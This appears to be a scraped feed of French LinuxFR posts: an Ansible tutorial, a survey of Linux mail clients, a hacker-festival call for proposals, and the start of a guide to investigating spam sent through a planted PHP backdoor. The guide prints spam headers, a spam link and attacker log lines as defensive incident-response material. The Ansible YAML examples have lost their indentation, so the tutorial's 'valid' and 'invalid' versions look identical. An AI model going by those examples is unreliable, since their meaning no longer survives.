<span class="p-Indicator">-</span> <span class="l-Scalar-Plain">unzip</span>
<span class="p-Indicator">-</span> <span class="l-Scalar-Plain">vim</span>
<span class="p-Indicator">-</span> <span class="l-Scalar-Plain">wget</span>
<span class="p-Indicator">-</span> <span class="l-Scalar-Plain">whois</span>
<span class="p-Indicator">-</span> <span class="l-Scalar-Plain">screen</span></code></pre>
<p>Après l'avoir enregistré, il suffira de lancer la commande suivante pour installer cette liste de paquets sur tout les serveurs :</p>
<pre><code>ansible-playbook -i hosts /etc/ansible/roles/skhn_common.yml
</code></pre>
<p>Et c'était donc notre premier rôle, yay \o/</p>
<p>Vous avez peut être remarqué 2/3 trucs :</p>
<ul>
<li>un rôle commence toujours par <code>---</code>,</li>
<li>
<code>hosts: all</code> est ici directement dans le fichier et non dans la commande,</li>
<li>on nomme ensuite nos tâches (<code>tasks</code>) avec <code>name</code>, ça permet de s'y retrouver plus facilement et d'avoir un libellé humainement compréhensible à lire pendant le déroulement du rôle (on sait donc plus facilement où on en est et ce qui est en train de se passer).</li>
<li>
<code>update_cache=yes</code> permet de faire un <code>apt-get update</code>
</li>
<li>j'ai choisi de mettre <code>state=latest</code> et non <code>state=present</code>, j'ai envie que ce genre de paquet soit à jour sans que j'ai besoin de m'en occuper.</li>
</ul><h3 id="debug">Debug</h3>
<p>Le plus gros problème que j'ai eu pour le moment concerne l'indentation qui est vicieuse et la syntaxe YAML.</p>
<h4 id="lindentation">L'indentation</h4>
<p>Si vous voulez vous éviter des prises de têtes qui vous font perdre quelques heures facilement, <strong>faites des indentations de DEUX espaces</strong> ! Pourquoi ? Parce que :</p>
<ul>
<li>ça, c'est <strong>VALIDE</strong> (DEUX espaces) :</li>
</ul><pre><code>---
- hosts: all
remote_user: root
tasks:
- name: install common packages for all servers
apt:
update_cache=yes
state=latest
name={{item}}
with_items:
- curl
- htop
</code></pre>
<ul>
<li>ça, c'est <strong>INVALIDE</strong> (QUATRE espaces) :</li>
</ul><pre><code>---
- hosts: all
remote_user: root
tasks:
- name: install common packages for all servers
apt:
update_cache=yes
state=latest
name={{item}}
with_items:
- curl
- htop
</code></pre>
<ul>
<li>et ça, c'est <strong>VALIDE</strong> (QUATRE espaces) :</li>
</ul><pre><code>---
- hosts: all
remote_user: root
tasks:
- name: install common packages for all servers
apt:
update_cache=yes
state=latest
name={{item}}
with_items:
- curl
- htop
</code></pre>
<p>VOUS LA VOYEZ LA DIFFÉRENCE ? C'EST CE #### D'ESPACEMENT ET D'ALIGNEMENT AVEC LE RESTE DE <code>hosts: all</code> ! Bon, une fois qu'on le sait, pourquoi pas, mais à cause de ça j'ai perdu plus d'une heure hier après-midi, merci le message <code>ERROR! Syntax Error while loading YAML.</code> absolument pas parlant…</p>
<h4 id="la-syntaxe-yaml">La syntaxe YAML</h4>
<p>Si vous avez un doute sur ce que vous avez fait, ou si vos collègues sont des adeptes de la fameuse méthode "gruiiiiiik et je me casse en vacances sans vérifier si ça marche en prod", l'utilisation de <a href="https://yamllint.readthedocs.io/en/latest/">yamllint</a> est recommandée (ça, et le non moins fameux <a href="https://www.youtube.com/watch?v=7mmuQteX1qA">coup-de-clavier-dans-la-gueule</a>). Idéal en pré-commit (yamllint, pas le clavier).</p>
<p>Ansible propose aussi un check : <code>--syntax-check</code>, que l'on peut utiliser de cette manière là : </p>
<pre><code>ansible-playbook --syntax-check example-playbook.yml
ansible-playbook --syntax-check roles/*
</code></pre>
<p>Oh, et évidemment, je vous conseille beaucoup de lire les <strong><a href="https://docs.ansible.com/ansible/playbooks_best_practices.html">best practices</a></strong>.</p><div><a href="https://linuxfr.org/users/skhaen/journaux/deploiement-et-automatisation-avec-ansible-partie-1.epub">Télécharger ce contenu au format EPUB</a></div> <p>
<strong>Commentaires :</strong>
<a href="//linuxfr.org/nodes/110993/comments.atom">voir le flux Atom</a>
<a href="https://linuxfr.org/users/skhaen/journaux/deploiement-et-automatisation-avec-ansible-partie-1#comments">ouvrir dans le navigateur</a>
</p>
skhaenhttps://linuxfr.org/nodes/110993/comments.atomtag:linuxfr.org,2005:Diary/367722016-08-16T15:01:38+02:002016-08-16T15:01:38+02:00À la recherche des clients mail sous LinuxLicence CC By‑SA http://creativecommons.org/licenses/by-sa/4.0/deed.fr<p>Mettons tout de suite les choses au clair : on veut un client mail <strong><a href="http://www.rainloop.net/screenshots/">moderne</a></strong>, avec une <strong><a href="http://www.rainloop.net/screenshots/">jolie interface</a></strong> (qui fait <a href="https://twitter.com/Skhaen/status/763371377802043392">wooosh wooosh</a>, exactement) et <strong>orienté grand public</strong>. Dans cette optique, on va d'abord vouloir quelque chose d'<strong>ergonomique</strong> et d'<strong>utilisable dès le premier démarrage</strong> sans devoir installer un plugin ou aller bidouiller un fichier de config. Et l'importance de la gestion de <a href="https://xkcd.com/364/">GPG</a> arrivera donc nettement après…</p>
<p><img src="//img.linuxfr.org/img/68747470733a2f2f696d67732e786b63642e636f6d2f636f6d6963732f6d616e75616c732e706e67/manuals.png" alt="XKCD" title="Source : https://imgs.xkcd.com/comics/manuals.png"></p>
<p>Donc, histoire que l'on se soit bien compris : on cherche un client mail pour la famille / les ami-e-s / un-e inconnu-e dans la rue, et pas pour un adminsys/dév/agnutollah qui n'arrive à pas comprendre que l'ergonomie et une jolie interface c'est important (et le pire, c'est que je sais très bien que même en écrivant ça, je vais avoir des retours me disant que Mutt c'est trop bien).</p>
<p>Et à voir certaines propositions/réactions sur twitter, il y a encore beaucoup trop de personnes qui n'arrivent pas à comprendre pourquoi <a href="http://itvision.altervista.org/why.linux.is.not.ready.for.the.desktop.current.html#WorksForMe">Linux est aussi loin derrière sur le marché du <em>desktop</em></a>.</p>
<p>Faisons donc un tour de l'existant (si j'ai oublié quelque chose d'intéressant, n'hésitez pas à me contacter par <a href="https://www.cyphercat.eu/about/">mail/twitter</a>) :</p>
<h3 id="logiciels">Logiciels</h3>
<ul>
<li>
<strong><a href="https://github.com/astroidmail/astroid">Astroid</a></strong>
<ul>
<li>Interface pas top (mais GPG)</li>
</ul>
</li>
<li>
<strong><a href="https://bitmask.net/en">Bitmask</a></strong>
<ul>
<li>VPN et GPG</li>
</ul>
</li>
<li>
<strong><a href="http://www.claws-mail.org/">Claws mail</a></strong>
<ul>
<li>Interface pas top (mais GPG)</li>
</ul>
</li>
<li>
<strong><a href="https://wiki.gnome.org/Apps/Evolution">Evolution</a></strong>
<ul>
<li>lourd O_o (mais GPG)</li>
</ul>
</li>
<li>
<strong><a href="https://wiki.gnome.org/Apps/Geary">Geary</a></strong> (<a href="https://git.gnome.org/browse/geary/">source</a>)
<ul>
<li>ça à l'air pas mal du tout, même si apparemment pas beaucoup de choix de configuration</li>
</ul>
</li>
<li>
<strong><a href="https://www.kde.org/applications/internet/kmail/">Kontact</a></strong> (Kmail, intégré dans KDE)
<ul>
<li>pas testé, donc pas de retour</li>
<li>GPG</li>
</ul>
</li>
<li>
<strong><a href="http://www.mutt.org/">Mutt</a></strong>
<ul>
<li>ah pardon, on cherche une interface grand public.</li>
<li>mais GPG</li>
</ul>
</li>
<li>
<strong><a href="https://www.nylas.com/">Nylas N1</a></strong> (<a href="https://github.com/nylas/N1">source</a>)
<ul>
<li>Ça a aussi l'air pas mal du tout. Dommage, il faut obligatoirement un <a href="https://support.nylas.com/hc/en-us/articles/220974588-How-is-a-Nylas-ID-different-from-my-email-address-">ID Nylas</a> pour l'utiliser, et je ne sais pas vraiment ce qu'ils vont faire avec les données.</li>
</ul>
</li>
<li>
<strong>Pantheon Mail</strong> (fork de Geary - <a href="https://launchpad.net/pantheon-mail">source</a>)</li>
<li>
<strong><a href="https://www.mozilla.org/en-US/thunderbird/">Thunderbird</a></strong>
<ul>
<li>
<em>sight</em>… apparemment toujours la référence sur Linux (j'avoue que mon expérience avec FirefoxOS pendant un an me donne envie de ###### Mozilla…)</li>
</ul>
</li>
</ul><h3 id="webmail">Webmail</h3>
<ul>
<li>
<strong><a href="https://www.mailpile.is/">Mailpile</a></strong> :
<ul>
<li>J'ai entendu pas mal de mauvais échos pendant un moment, si vous l'avez testé je veux bien des retours.</li>
</ul>
</li>
<li>
<strong><a href="http://www.rainloop.net">Rainloop</a></strong>
<ul>
<li>Awwwww <3</li>
<li>et GPG</li>
</ul>
</li>
<li>
<strong><a href="https://roundcube.net/">Roundcube</a></strong>
<ul>
<li>la référence du webmail libre, pas mal de thèmes disponibles, dont des sympas</li>
</ul>
</li>
<li>
<strong><a href="https://sogo.nu/">SoGo</a></strong>
<ul>
<li>mails + CalDAV + CardDAV + GroupDAV + Microsoft ActiveSync, plutôt orienté pro.</li>
</ul>
</li>
<li>
<strong><a href="https://www.zimbra.com">Zimbra</a></strong>
<ul>
<li>l'autre référence du (pas que) webmail libre, mais seulement côté serveur (et beaucoup, beaucoup plus gros)</li>
</ul>
</li>
</ul><p>C'est intéressant de voir le nombre de logiciels avec une ergonomie poussive ou un design (un peu) vieux mais avec du support pour GPG. C'est quoi sa part de marché en dehors de notre petit écosystème déjà ?</p>
<h5 id="edit">Edit</h5>
<ul>
<li>2016-08-11 - ajout de Bitmask et de SoGo</li>
</ul><div><a href="https://linuxfr.org/users/skhaen/journaux/a-la-recherche-des-clients-mail-sous-linux.epub">Télécharger ce contenu au format EPUB</a></div> <p>
<strong>Commentaires :</strong>
<a href="//linuxfr.org/nodes/109791/comments.atom">voir le flux Atom</a>
<a href="https://linuxfr.org/users/skhaen/journaux/a-la-recherche-des-clients-mail-sous-linux#comments">ouvrir dans le navigateur</a>
</p>
skhaenhttps://linuxfr.org/nodes/109791/comments.atomtag:linuxfr.org,2005:News/372522016-04-26T20:36:27+02:002016-04-26T20:36:27+02:00PSES / HSF 2016 : Appels à propositions !Licence CC By‑SA http://creativecommons.org/licenses/by-sa/4.0/deed.fr<div><p>Le festival auto-organisé par vous, l'équipe de Pas Sage En Seine et les membres du /tmp/lab, se tiendra à Choisy-le-Roi du 30 juin au 3 juillet 2016.</p>
<p><img src="//img.linuxfr.org/img/687474703a2f2f7777772e707365736873662e6f72672f6173736574732f696d672f66617669636f6e2e706e67/favicon.png" alt="Logo" title="Source : http://www.pseshsf.org/assets/img/favicon.png"></p>
<p>Nous vous invitons à participer à PSESHSF 2016 en <a href="http://www.pseshsf.org/fr/call-for-hacks">accueillant vos propositions</a> : ateliers et conférences bien sûr, mais aussi installations, performances, discussions et autres formes d'interventions pratiques ou artistiques. Des thèmes sont proposés, pas imposés, pour laisser place à la manifestation d'idées originales.</p></div><ul><li>lien nᵒ 1 : <a title="http://www.pseshsf.org/fr/call-for-hacks" hreflang="fr" href="https://linuxfr.org/redirect/96993">CFH</a></li><li>lien nᵒ 2 : <a title="http://www.pseshsf.org" hreflang="fr" href="https://linuxfr.org/redirect/96994">Site PSESHSF</a></li><li>lien nᵒ 3 : <a title="https://linuxfr.org/news/programme-de-la-7eme-edition-de-passage-en-seine-du-18-au-21-juin-2015-a-paris" hreflang="fr" href="https://linuxfr.org/redirect/97015">DLFP: Programme de la 7ème édition de Passage en Seine du 18 au 21 juin 2015 à Paris</a></li><li>lien nᵒ 4 : <a title="https://linuxfr.org/users/julien-d/journaux/pses-2015-c-est-fini" hreflang="fr" href="https://linuxfr.org/redirect/97016">DLFP: PSES 2015, c'est fini !</a></li></ul><div><h2 class="sommaire">Sommaire</h2>
<ul class="toc">
<li><a href="#quoi">Quoi ?</a></li>
<li>
<a href="#comment">Comment ?</a><ul>
<li><a href="#conf%C3%A9rences">Conférences</a></li>
<li><a href="#ateliers--d%C3%A9mos">Ateliers / démos</a></li>
<li><a href="#performances-et-toutes-autres-formes-de-participation">Performances et toutes autres formes de participation</a></li>
</ul>
</li>
<li><a href="#les-trucs-dont-%C3%A7a-pourrait-parler">Les trucs dont ça pourrait parler</a></li>
</ul><h2 id="quoi">Quoi ?</h2>
<p>Depuis le début le hackerspace /tmp/lab vit avec bonheur en banlieue. D'abord à Vitry-sur-Seine, maintenant dans le sous-sol de la Maison Pour Toutes et tous de Choisy-le-Roi.</p>
<p>Cette banlieue, qui semble pour certainEs une contrainte, est pour nous en ce contexte d'état d'urgence, le lieu favorable pour fédérer les nombreux défenseurSEs, d'une vie sans peurs et sans haine : les hackerSEs, activistes, les associations de quartier, les travailleurSEs sociaux, les syndicalistEs, les non-associéEs et touTEs les autres… Nous touTEs, les habitantEs de cette banlieue, trop souvent décrite comme une zone "dortoir" sans intérêt, trop loin du métro, comme une zone de non-droit ou pire encore comme le foyer du terrorisme, nous souhaitons nous y retrouver, amorcer de nouvelles discussions, initier librement des pratiques qui rendent compte de nos réalités et qui répondent à nos attentes.</p>
<p>Nous sortirons pour cette occasion de nos lieux de rencontres habituels, pour nous déployer dans le quartier et au-delà, en allant à la rencontre de ceux et celles que nous croisons trop rarement dans nos ateliers.</p>
<p>Le Festival que nous organisons touTEs ensemble sera un moment convivial et festif pour décrire nos modes d'organisation, nos outils, nos perspectives, évoquer les usages d'autodéfense numériques faces aux perpétuelles manipulations sécuritaires. L' HacktivistE naît de cette prise de conscience intégrale. Il ouvre, détourne, invente tous les possibles, ou presque…. Être et faire politiquement ensemble sera notre prochaine étape !</p>
<h2 id="comment">Comment ?</h2>
<h3 id="conférences">Conférences</h3>
<ul>
<li>Présentations originales de préférence ;</li>
<li>format long : 45 minutes suivies de 10 minutes de questions ;</li>
<li>présentation projetée en vidéo ;</li>
<li>présentation filmée et diffusée en direct ;</li>
<li>format court : 15 minutes.</li>
</ul><h3 id="ateliers--démos">Ateliers / démos</h3>
<ul>
<li>Animation d'un workshop ou d'une démo ;</li>
<li>formats : de 30mn à 2 heures (les démos tendent à être plus courtes) ;</li>
<li>projection vidéo possible.</li>
</ul><h3 id="performances-et-toutes-autres-formes-de-participation">Performances et toutes autres formes de participation</h3>
<p>Formats :</p>
<ul>
<li>performances ponctuelles faisant intervenir le public ;</li>
<li>expositions ;</li>
<li>concerts ;</li>
<li>services pratiques (logistique, cuisine, boissons, hébergement, etc…).</li>
</ul><h2 id="les-trucs-dont-ça-pourrait-parler">Les trucs dont ça pourrait parler</h2>
<ul>
<li>
<p>Mobilité :</p>
<ul>
<li>transports en communs pour les pauvres et mobilité individuelle pour les riches ?</li>
<li>tissus associatif et solidarités ;</li>
<li>déplacements alternatifs : piquer l'algorithme de Uber pour partager nos vélos, autos et utilitaires ;</li>
<li>monter un Garage Automobile Populaire (GAP) dans sa ville ?</li>
<li>changer les mœurs pour avoir moins à se déplacer (emplois, commerce de proximité, production @home, vacances ?) ;</li>
<li>avoir un véhicule à moteur tout en produisant son énergie (éthanol maison, électricité maison, augmentation du rendement des véhicules électrique) ;</li>
<li>comment filtrer l'huile de la friteuse pour rouler avec dans son véhicule diesel ? Législation ? Compatibilité moteur ?</li>
</ul>
</li>
<li>
<p>Initiatives locales :</p>
<ul>
<li>associations qui font vivre le quartier ;</li>
<li>solutions DIY aux situations de handicap.</li>
</ul>
</li>
<li>
<p>Énergies :</p>
<ul>
<li>fabriquer son poêle à bois ;</li>
<li>isoler sa maison avec de la paille ;</li>
<li>fabriquer du biodiesel et rouler à l'huile.</li>
</ul>
</li>
<li>
<p>Agriculture et biodiversité :</p>
<ul>
<li>le fait de breveter le vivant et ses dangers (semences paysannes, <a href="https://kokopelli-semences.fr/?lang=fr-fr">kokopelli</a>…) ;</li>
<li>l’open data en écologie (bases de données naturalistes <a href="http://cettia-idf.fr/bdd">cettia</a>) ;</li>
<li>alimentation : le local et le circuit court agriculture urbaine :</li>
<li> jardins familiaux, jardins partagés, compost, incroyables comestibles, recréer les sols (technosols) ;</li>
<li> agriculture : les systèmes émergents (bio, Techniques de Conservation du Sol (TCS), permaculture, biodynamie).</li>
</ul>
</li>
<li>
<p>Urbanisme et habitat :</p>
<ul>
<li>urbanisme de crise et de surveillance ;</li>
<li>risques de la « ville intelligente » ;</li>
<li>se loger différemment : on pique l'algo de Airbnb et on partage son appart, sa maison, son garage, son jardin, son poulailler…</li>
<li>cultures hydroponiques en appartement, jardin de balcon et potagers ouvriers (avoir un haut rendement de production sur un petit espace, écologiquement) ;</li>
<li>ronds-points, « zones urbaines mortes » et « non-lieux » : on en fait quoi ?</li>
<li>Rehab my Project ! Comment réhabiliter sa barre d'immeuble ?</li>
<li>exploration urbaine ;</li>
<li>je fabrique ma maison sans prendre de crédit sur 30 ans.</li>
</ul>
</li>
<li>
<p>Écologie et coût social du numérique :</p>
<ul>
<li>comment sont fabriqués les tablettes et smartphones et par qui ?</li>
<li>se passer de technologie et/ou la simplifier ?</li>
<li>les intermédiaires douteux, défiscalisation et neo-libéralisme : Uber, Airbnb…</li>
<li>comment organiser le recyclage, le retraitement des déchets et D3E ?</li>
<li>les technologies « légères » ça existe vraiment ?</li>
</ul>
</li>
<li>
<p>C'est quoi le hack, au fait ? It's more fun to compute !</p>
<ul>
<li>rétro-ingenierie ;</li>
<li>réseaux maillés ;</li>
<li>hack les ondes ;</li>
<li>ingénierie sociale ;</li>
<li>réseaux distribués ;</li>
<li>réseaux pairs à pairs ;</li>
<li>matériels libres ;</li>
<li>logiciels libres ;</li>
<li>sécurité.</li>
</ul>
</li>
<li>
<p>Hacktivisme, politique et syndicalisme :</p>
<ul>
<li>hacktivisme et activismes ;</li>
<li>zones d'autonomies ;</li>
<li>contre-culture ;</li>
<li>convergence des luttes ;</li>
<li>les banlieues sont-elles encore rouge ?</li>
<li>la valeur travail, la défense des travailleurs du "numérique"</li>
<li>mixité sociale et technologies ;</li>
<li>le Hackerspace, la nouvelle MJC ?</li>
<li>les « politiques numériques », entre mirage et récupération : comment le pouvoir veut s'arroger un progrès qui le dépasse ?</li>
<li>les dernières statistiques sur le « Sérieux qui tue chaque jour », vocabulaire, stratégie de discours, victimes…</li>
<li>expériences vécues d'ONG ;</li>
<li>les femmes et minorités de genre (trans, personnes non -binaires) dans les milieux hacktivistes ;</li>
<li>« J'ai rien à cacher » :
<ul>
<li>FAI indépendants ;</li>
<li>anonymiser ses accès internet ;</li>
<li>communications chiffrées ;</li>
<li>réseaux sociaux respectant la vie privée.</li>
</ul>
</li>
</ul>
</li>
<li>
<p>Bullshit Bingo :</p>
<ul>
<li>applications de génération / détection / remplissage / classement de Bullshit Bingo ;</li>
<li>inscrit une startup, un think tank ou un facilitateur de projets innovants pour améliorer sa visibilité.</li>
</ul>
</li>
<li>
<p>L'art :</p>
<ul>
<li>pièces artistiques tous supports ;</li>
<li>performances ;</li>
<li>jeux vidéos ;</li>
<li>street art ;</li>
<li>live coding ;</li>
<li>circuit bending ;</li>
<li>art viral ;</li>
<li>poésies et poésies sonores ;</li>
<li>musiques électroniques et analogiques ;</li>
<li>orchestre philharmonique du /tmp/lab & guests.</li>
</ul>
</li>
</ul></div><div><a href="https://linuxfr.org/news/pses-hsf-2016-appels-a-propositions.epub">Télécharger ce contenu au format EPUB</a></div> <p>
<strong>Commentaires :</strong>
<a href="//linuxfr.org/nodes/108788/comments.atom">voir le flux Atom</a>
<a href="https://linuxfr.org/news/pses-hsf-2016-appels-a-propositions#comments">ouvrir dans le navigateur</a>
</p>
skhaenNils RatusznikBenoît Sibaudclaudexpalm123Nÿcohttps://linuxfr.org/nodes/108788/comments.atomtag:linuxfr.org,2005:News/366162015-08-05T00:09:10+02:002015-08-06T16:51:58+02:00Envoi de spam à partir d'un serveur, comment réagir ?Licence CC By‑SA http://creativecommons.org/licenses/by-sa/4.0/deed.fr<div><p>Après l'article sur <a href="//linuxfr.org/news/remonter-une-attaque-et-trouver-la-faille-avec-les-logs-d-apache2">comment retrouver l'origine d'une attaque</a>, nous allons voir aujourd'hui comment accueillir comme il se doit sur votre serveur un envoi de spam. Pour changer, on partira du principe que l'on est sur une Debian avec un postfix. Notre serveur s'appelle <em>exemple.octopuce.fr</em>, et notre site de référence installé sur ce serveur s'appelle <em>exemple.com</em>.</p>
<p>On partira aussi du principe que l'<a href="https://www.youtube.com/embed/YdsgOyu4irk">on n'aime pas beaucoup le spam</a>… voire même qu'on lui mettrait bien un bon coup de clavier en pleine poire.</p></div><ul><li>lien nᵒ 1 : <a title="https://www.libwalk.so/2015/08/04/gtfo-spam.html" hreflang="fr" href="https://linuxfr.org/redirect/94711">lien vers l'article original</a></li></ul><div><h2 class="sommaire">Sommaire</h2>
<ul class="toc">
<li><ul>
<li><a href="#au-commencement-%C3%A9tait">Au commencement était…</a></li>
<li><a href="#si-%C3%A7a-ressemble-%C3%A0-du-spam-que-%C3%A7a-a-le-go%C3%BBt-du-spam-et-que-%C3%A7a-tente-de-vous-vendre-du-viagra">Si ça ressemble à du spam, que ça a le goût du spam (et que ça tente de vous vendre du viagra…)…</a></li>
<li>
<a href="#viens-on-joue-%C3%A0-cache-cache-o">Viens, on joue à cache-cache \o/</a><ul>
<li><a href="#kill-everything-with-fire">KILL EVERYTHING WITH FIRE</a></li>
<li><a href="#spamhaus">Spamhaus</a></li>
</ul>
</li>
<li>
<a href="#am%C3%A9liorons-encore">Améliorons encore</a><ul>
<li><a href="#supervision">Supervision</a></li>
<li><a href="#php--maillog">PHP / mail.log</a></li>
<li><a href="#spf-dkim-et-dmarc">SPF, DKIM et DMARC</a></li>
<li><a href="#antivirus">antivirus</a></li>
</ul>
</li>
</ul></li>
</ul><h3 id="au-commencement-était">Au commencement était…</h3>
<p>Une liste d'envoi de mails (<code>mailq</code>) qui se remplit beaucoup trop rapidement, on parle de plusieurs centaines, voire plusieurs milliers de mails en quelques minutes/heures (selon la technique que l'attaquant utilise). Vous pouvez voir en bas de cet article comment être alerté automatiquement.</p>
<p>On commence par regarder la liste d'attente des mails (<em>mail queue</em>) avec la commande <code>mailq</code>. La commande <code>less</code> est là pour éviter d'afficher plusieurs centaines de mails, on aura ainsi seulement les premiers de la liste :</p>
<pre><code>mailq | less
</code></pre>
<p>Vous devriez voir une suite de blocs qui ressemble à ceci :</p>
<pre><code>E35BA5318CA83 1389 Fri Jul 31 10:25:10 MAILER-DAEMON
(delivery temporarily suspended: connect to yahoo.com[63.250.192.45]:25: Connection refused)
darcy.bolden75@yahoo.com
F21DC4093C551 1400 Fri Jul 31 09:36:40 MAILER-DAEMON
(delivery temporarily suspended: connect to yahoo.com[63.250.192.45]:25: Connection refused)
nicki.forth76@yahoo.com
F125553301B52 1409 Fri Jul 31 18:15:21 MAILER-DAEMON
(delivery temporarily suspended: connect to yahoo.com[63.250.192.45]:25: Connection refused)
renato_kalman62@yahoo.com
</code></pre>
<p>Détaillons le premier bloc :</p>
<ul>
<li>
<code>E35BA5318CA83</code> correspond à l'ID du mail</li>
<li>et <code>1389</code> correspond à la taille du mail en octet</li>
<li>
<code>Fri Jul 31 10:25:10</code> correspond à la date de l'envoi (idéal pour le retrouver dans les logs ;-))</li>
<li>
<code>MAILER-DAEMON</code> est l'expéditeur (peut être www-data, une adresse mail…)</li>
<li>
<code>delivery temporarily suspended</code> explique pourquoi le mail est toujours là (dans notre cas, les serveurs de yahoo ne veulent pas de lui)</li>
<li>
<code>darcy.bolden75@yahoo.com</code> représente le destinataire</li>
</ul><h3 id="si-ça-ressemble-à-du-spam-que-ça-a-le-goût-du-spam-et-que-ça-tente-de-vous-vendre-du-viagra">Si ça ressemble à du spam, que ça a le goût du spam (et que ça tente de vous vendre du viagra…)…</h3>
<p>Je choisis dans mon tas de mail celui avec l'ID B58B18A1C2140 et je "l'ouvre" avec la commande <code>postcat</code> (à noter que cette commande affiche par défaut la totalité du mail (header, body, envelope content) :</p>
<pre><code>postcat -q B58B18A1C2140|less
</code></pre>
<p>Et voici le résultat :</p>
<pre><code>*** ENVELOPE RECORDS deferred/B/B58B18A1C2140 ***
message_size: 826 195 1 0 826
message_arrival_time: Fri Jul 24 06:08:12 2015
create_time: Fri Jul 24 06:08:12 2015
named_attribute: rewrite_context=local
sender: mechant@exemple.octopuce.fr
*** MESSAGE CONTENTS deferred/B/B58B18A1C2140 ***
Received: by exemple.octopuce.fr (Postfix, from userid 2001)
id B58B18A1C2140; Fri, 24 Jul 2015 06:08:12 +0200 (CEST)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=exemple.com;
s=alternc; t=1437710892;
bh=jovdSJ/Kn2/7639VFyVqNVkUC4F7d1BbnAP59auo7XI=;
h=To:Subject:From:Reply-To:Date;
b=EkH7RR1L6vi0gkvl/AXhJChbwtOvMTB6KFS/tuoxoo6+O3UINMgxpLqp45vY9E+ED
Dl0rOINTF8YDAGFmv6VCU4SDt1FTmWyjcJyefj1Mc9wl3TGRQVPfUDkUhVrrDB3yau
Boz8MjYyfBIz28gXWB680XdkC1E5LQwnsmmay//8=
To: anhselagiolong_2710@yahoo.com
Subject: RE: Your Top Affordable Vagra solutions
X-PHP-Originating-Script: 2001:dir.php
From: "Melba Bauer" <melba_bauer@exemple.com>
Reply-To:"Melba Bauer" <melba_bauer@exemple.com>
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-RealFrom:
Message-Id: <20150724040812.B58B18A1C2140@exemple.octopuce.fr>
Date: Fri, 24 Jul 2015 06:08:12 +0200 (CEST)
<div>
Your Top Affordable Vagra solutions &ndash; <a href="http://strobeton.ru/assets/plugins/tinymce/jscripts/tiny_mce/plugins/contextmenu/defines.html">check it out</a>
</div>
*** HEADER EXTRACTED deferred/B/B58B18A1C2140 ***
named_attribute: encoding=8bit
original_recipient:
recipient: anhselagiolong_2710@yahoo.com
*** MESSAGE FILE END deferred/B/B58B18A1C2140 ***
</code></pre>
<p>Les points importants :</p>
<ul>
<li>
<strong>create_time</strong>: Fri Jul 24 06:08:12 2015 (date de création)</li>
<li>
<strong>Received</strong>: by exemple.octopuce.fr (Postfix, from <strong>userid</strong> 2001) (reçu par)</li>
<li>
<strong>sender</strong>: <a href="mailto:exemple@exemple.octopuce.fr">exemple@exemple.octopuce.fr</a> (si c'est une de vos adresses mails qui existe réellement, c'est simple : changement de mot de passe immédiat).</li>
<li>
<strong>X-PHP-Originating-Script</strong>: 2001:dir.php (origine de l'envoi (fichier vérolé, formulaire sans captcha…))</li>
</ul><p>Et puis bon, celui là il est facile, il tente de nous vendre du viagra… je pouvais pas avoir plus stéréotypé comme exemple…</p>
<h3 id="viens-on-joue-à-cache-cache-o">Viens, on joue à cache-cache \o/</h3>
<p>À partir de là, la marche à suivre est la même que dans l'article "<a href="https://www.libwalk.so/2015/04/29/analyse-log.html">remonter une attaque avec les logs d'apache2</a>". Nous allons commencer notre chasse dans le fichier <code>/var/log/mail.log</code>.</p>
<p>On commence par aller voir au moment de l'attaque :</p>
<blockquote>
<p>astuce : <code>/</code> permet de faire une <a href="http://www.tuteurs.ens.fr/unix/exercices/solutions/less-sol.html">recherche dans <code>less</code></a>, comme par exemple <code>2015:06:0</code> si vous n'avez qu'une seule journée par fichier</p>
</blockquote>
<pre><code>less /var/log/mail.log
176.9.139.10 - - [24/Jul/2015:06:07:18 +0200] "POST /wp-content/plugins/wsanalytics-google-analytics-and-dashboards/images/dir.php HTTP/1.1" 200 382 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.7.6)" 5
129.195.0.205 - - [24/Jul/2015:06:07:27 +0200] "GET /wp-includes/js/comment-reply.min.js?ver=4.1.4 HTTP/1.1" 304 - "-" "Mozilla/4.0 (compatible;)" 0
89.184.77.50 - - [24/Jul/2015:06:07:26 +0200] "POST /wp-content/plugins/wsanalytics-google-analytics-and-dashboards/images/dir.php HTTP/1.1" 200 466 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.7.6)" 2
89.184.77.50 - - [24/Jul/2015:06:07:34 +0200] "POST /wp-content/plugins/wsanalytics-google-analytics-and-dashboards/images/dir.php HTTP/1.1" 200 219 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.7.6)" 1
176.9.139.10 - - [24/Jul/2015:06:07:28 +0200] "POST /wp-content/plugins/wsanalytics-google-analytics-and-dashboards/images/dir.php HTTP/1.1" 200 64 "-" "Mozilla
/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.7.6)" 10
89.184.77.50 - - [24/Jul/2015:06:07:41 +0200] "POST /wp-content/plugins/wsanalytics-google-analytics-and-dashboards/images/dir.php HTTP/1.1" 200 541 "-" "Mozill
a/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.7.6)" 2
89.184.77.50 - - [24/Jul/2015:06:07:48 +0200] "POST /wp-content/plugins/wsanalytics-google-analytics-and-dashboards/images/dir.php HTTP/1.1" 200 370 "-" "Mozill
a/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.7.6)" 1
176.9.139.10 - - [24/Jul/2015:06:08:12 +0200] "POST /wp-content/plugins/wsanalytics-google-analytics-and-dashboards/images/dir.php HTTP/1.1" 200 374 "-" "Mozill
a/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.7.6)" 9
</code></pre>
<blockquote>
<p>oh bah si c'est [google analytics] ça doit pas être ça…</p>
</blockquote>
<p>OU PAS ! <a href="https://www.libwalk.so/2015/04/29/analyse-log.html">Comme nous l'avions vu</a>, nous recherchons des requêtes POST dans les logs, et là nous en avons une jolie fournée ! Les "pirates" étant des animaux fourbes et rusés, ils n'hésitent pas à mettre des faux noms, comme des fichiers wordpress dans l'arborescence d'un drupal…</p>
<p>Allons voir de plus près ce fichier !</p>
<pre><code>less /var/www/alternc/m/monjolisite/wp-content/plugins/wsanalytics-google-analytics-and-dashboards/images/dir.php
</code></pre>
<p>On y trouve quelque chose comme ceci :</p>
<p><img src="//img.linuxfr.org/img/68747470733a2f2f7777772e6c696277616c6b2e736f2f696d616765732f323031352f7669727573766972757376697275732e706e67/virusvirusvirus.png" alt="virus spotted" title="Source : https://www.libwalk.so/images/2015/virusvirusvirus.png"></p>
